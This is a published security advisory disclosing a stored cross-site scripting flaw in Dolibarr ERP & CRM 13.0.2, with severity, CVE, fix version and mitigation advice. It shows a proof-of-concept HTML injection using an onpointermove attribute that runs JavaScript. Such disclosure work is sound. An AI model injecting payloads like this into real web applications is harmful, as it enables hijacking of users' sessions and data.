# Trovent Security Advisory 2105-02 #
#####################################


Stored cross-site scripting in Dolibarr ERP & CRM
#################################################


Overview
########

Advisory ID: TRSA-2105-02
Advisory version: 1.0
Advisory status: Public
Advisory URL: https://trovent.io/security-advisory-2105-02
Affected product: Dolibarr ERP & CRM
Tested versions: Dolibarr 13.0.2
Vendor: Dolibarr foundation, https://www.dolibarr.org
Credits: Trovent Security GmbH, Nick Decker


Detailed description
####################

Trovent Security GmbH discovered that the Dolibarr application does not escape
"greater than" and "smaller than" characters if they are reflected in one of the
small pop-up windows with details of the object.
This allows an attacker to add certain custom HTML tags and attributes.
In our PoC we used a "body" tag in conjunction with an "onpointermove" attribute
to achieve constant execution of the inserted JavaScript code.

Severity: Critical
CVSS Score: 9.0 (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H)
CWE ID: CWE-79
CVE ID: CVE-2021-33618

CODE:

The HTML code of the site then includes the attribute in its body tag:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


<body id="mainbody" class="sidebar-collapse" <="" onpointermove="alert(1)" style="margin-bottom: 26px;">

<!-- Start top horizontal -->
<div class="side-nav-vert"><div id="id-top"><div id="tmenu_tooltip" class="tmenu">
[...]


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


Solution / Workaround
#####################

To mitigate this vulnerability, we recommend to always escape the user input
regardless of where it is reflected. Additionally we recommend to blacklist all
HTML tags and attributes.

Fixed in Dolibarr version 14.0.0, verified by Trovent.
